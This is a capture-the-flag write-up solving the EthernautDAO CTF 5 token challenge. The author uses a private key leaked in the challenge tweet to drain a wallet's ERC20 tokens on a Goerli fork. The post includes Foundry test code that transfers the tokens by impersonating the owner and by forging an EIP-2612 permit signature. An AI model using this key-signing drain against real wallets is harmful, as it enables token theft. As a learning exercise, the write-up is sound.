Emanuele Ricci
EthernautDAO CTF 5 — EthernautDAOToken Solution
ΞthernautDAO is common goods DAO aimed at transforming developers into Ethereum developers.
They started releasing CTF challenges on Twitter, so how couldn't I start solving them?
CTF 5: EthernautDAO Token
The challenge start from this Tweet: https://twitter.com/EthernautDAO/status/1553742280967835648
For this challenge, we have to deal only with a single Smart Contract called EthernautDaoToken, an ERC20 contract that also support the ERC20 Permit extension allowing approvals to be made via signatures, as defined in EIP-2612.
After deploying the contract, the Deployer has executed three transactions:
- Mint 1: minting
0.000000000000000001
tokens to the address0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266
- Mint 2: minting
0.099999999999999999
tokens to the address0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266
- Mint 3: minting
0.999999999999999999
tokens to the address0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266
Note: EthernautDAOToken has 18 decimals
Inside the Tweet, we see that @EthernautDAO also shared this information:
private key of the wallet: 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80
Lets see if you can take that EDT token out
Study the contracts
Let's start reviewing the contract code, and then we will discuss the critical information that has been shared inside the tweet.
contract EthernautDaoToken is ERC20, ERC20Burnable, Pausable, AccessControl, ERC20Permit {
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
constructor() ERC20("ETHERNAUTDAO TOKEN", "EDT") ERC20Permit("ETHERNAUTDAO TOKEN") {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(PAUSER_ROLE, msg.sender);
_mint(msg.sender, 1 * 10**decimals());
_setupRole(MINTER_ROLE, msg.sender);
}
function pause() public {
require(hasRole(PAUSER_ROLE, msg.sender));
_pause();
}
function unpause() public {
require(hasRole(PAUSER_ROLE, msg.sender));
_unpause();
}
function mint(address to, uint256 amount) public {
require(hasRole(MINTER_ROLE, msg.sender));
_mint(to, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal override whenNotPaused {
super._beforeTokenTransfer(from, to, amount);
}
}
The contract it's a pretty standard ERC20 token that inherit from three different ERC20 OpenZeppelin implementation contracts:
- ERC20Burnable: implements the
burn
andburnFrom
function - Pausable: implements the logic to allow
pause
andunpause
features - ERC20Permit: implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in EIP-2612
The constructor
of the contract initialize the ERC20
and ERC20Permit
inherited contracts, set up the admin
, minter
and pauser
role and mint 1
token to the msg.sender
(deployer)
Then you some functions like
pause
to pause each token transfer (see_beforeTokenTransfer
)unpause
to unpause the contractmint
to mint tokens_beforeTokenTransfer
implements theERC20
hook that is called whenmint
,burn
,transfer
andtransferFrom
are called. This implementation of the hook will revert if the contract is in a paused state
The solution does not come by exploiting the contract itself, but by exploiting the leaked information contained in the tweet.
We have access to a private key of a user. This mean that we can sign the transaction as if we were the user and drain his/her funds from the wallet.
To get the wallet associated to the private key, you can simply use Foundry cheatcode vm.addr that takes a private key as parameter and return the address associated to it.
By executing address walletAddress = vm.addr(WALLET_PRIVATE_KEY);
we now know that the address associated to it is 0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266
.
Does this address ring some bell? It's the same one that received the EthernautDAOToken minted by the first three transactions done by the contract's deployer!
By having access to the private key of the address, we can follow two solutions to drain the user's balance:
- call
transfer
on the token contract by signing the transaction with the private key - have some fun and use the
permit
function that the contract is implementing and transfer those tokens from our own address (as a player)
Let's see those two solutions:
/// @notice Solution 1: access directly as the final user
function solutionOne(
address walletAddress,
address player,
uint256 walletBalance
) private {
vm.startPrank(walletAddress);
// simply transfer the tokens
ethernautDaoToken.transfer(player, walletBalance);
vm.stopPrank();
}
/// @notice Solution 2: access directly as the final user
function solutionTwo(
address walletAddress,
address player,
uint256 walletBalance
) private {
// Set a deadline in the future otherwise the `permit` call will revert
uint256 deadline = block.timestamp + 1;
// Reconstruct the EAO signed message to be used by the `permit` function when called by the player account
bytes32 permitTypeHash = keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
);
bytes32 erc20PermitStructHash = keccak256(
abi.encode(permitTypeHash, walletAddress, player, walletBalance, 0, deadline)
);
bytes32 erc20PermitHash = ECDSA.toTypedDataHash(ethernautDaoToken.DOMAIN_SEPARATOR(), erc20PermitStructHash);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(WALLET_PRIVATE_KEY, erc20PermitHash);
// call the `permit` function not as the owner of the funds but as the player
ethernautDaoToken.permit(walletAddress, player, walletBalance, deadline, v, r, s);
vm.startPrank(player);
// transfer tokens from the the real owner to the player account
ethernautDaoToken.transferFrom(walletAddress, player, walletBalance);
vm.stopPrank();
}
Solution code
Now what we have to do is:
- Create an Alchemy or Infura account to be able to fork the Goerli blockchain
- Choose a good block from which we can create a fork. Any block after the creation of the contract will be good
- Run a foundry test that will use the fork to execute the test
Here's the code that I used for the test:
function testTransferEDTToken() public {
address player = users[0];
address walletAddress = vm.addr(WALLET_PRIVATE_KEY);
console.log(walletAddress);
uint256 walletBalanceBefore = ethernautDaoToken.balanceOf(walletAddress);
// Solution 1: access directly as the final user
solutionOne(walletAddress, player, walletBalanceBefore / 2);
// Solution 2: Use the Permit functions to allow the player to transfer the tokens on behalf of the user
solutionTwo(walletAddress, player, ethernautDaoToken.balanceOf(walletAddress));
// Assert that the player now owns all the balanced owned by the wallet before the exploit
// And that the wallet has 0 tokens in its balance
assertEq(ethernautDaoToken.balanceOf(player), walletBalanceBefore);
assertEq(ethernautDaoToken.balanceOf(walletAddress), 0);
}
Here is the command I have used to run the test: forge test --match-contract EthernautDaoTokenTest --fork-url <your_rpc_url> --fork-block-number 7318911 -vv
Just remember to replace <your_rpc_url>
with the RPC URL you got from Alchemy or Infura.
You can read the full solution of the challenge, opening EthernautDaoToken.t.sol
Further reading
- EIP-20: Token Standard
- EIP-2612: permit – 712-signed approvals
- OpenZeppelin ERC20
- OpenZeppelin ERC20Burnable
- OpenZeppelin Pausable
- OpenZeppelin ERC20Permit
Disclaimer
All Solidity code, practices and patterns in this repository are DAMN VULNERABLE and for educational purposes only.
I do not give any warranties and will not be liable for any loss incurred through any use of this codebase.
DO NOT USE IN PRODUCTION.